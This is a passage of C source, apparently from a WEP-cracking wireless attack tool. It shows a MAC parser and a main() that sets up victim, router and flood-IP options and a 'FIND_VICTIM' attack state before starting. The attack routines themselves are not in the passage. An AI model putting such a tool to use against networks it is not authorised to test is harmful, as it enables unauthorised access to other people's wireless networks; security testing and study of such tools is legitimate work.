&macf[3], &macf[4], &macf[5]) != 6) {
printf("can't parse mac %s\n", mac);
exit(1);
}
for (i = 0; i < 6; i++)
*dst++ = (unsigned char) macf[i];
}
int main(int argc, char *argv[]) {
unsigned char* dev = "ath0";
unsigned char rtr[6];
unsigned char vic[6];
int ch;
if (gettimeofday(&real_start, NULL) == -1) {
perror("gettimeofday()");
exit(1);
}
chaninfo.s = -1;
victim.ssid = 0;
prgainfo.len = 0;
memset(&txstate, 0, sizeof(txstate));
memset(&fragstate, 0, sizeof(fragstate));
memset(&decryptstate, 0, sizeof(decryptstate));
memset(&weplog, 0, sizeof(weplog));
state = FIND_VICTIM;
while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:t:f:")) != -1) {
switch (ch) {
case 'a':
str2mac(mymac, optarg);
break;
case 's':
floodip = optarg;
break;
case 'i':
dev = optarg;
break;
case 'm':
strncpy(myip, optarg, sizeof(myip)-1);
myip[sizeof(myip)-1] = 0;
break;
case 'n':
netip = optarg;
netip_arg = 1;
break;
case 'r':
str2mac(rtr, optarg);
rtrmac = rtr;
break;
case 'v':
str2mac(vic, optarg);
victim_mac = vic;
break;
case 'c':
wep_thresh = -1;
break;
case 'p':
min_prga = atoi(optarg);
break;
case 't':
thresh_incr = wep_thresh = atoi(optarg);
break;
case 'f':
max_chan = atoi(optarg);
break;
case '4':
bits = 64;
break;
default:
usage(argv[0]);
break;
}
}
start(dev);
if(chaninfo.s != -1)
close(chaninfo.s);
if(victim.ssid)
free(victim.ssid);
exit(0);
}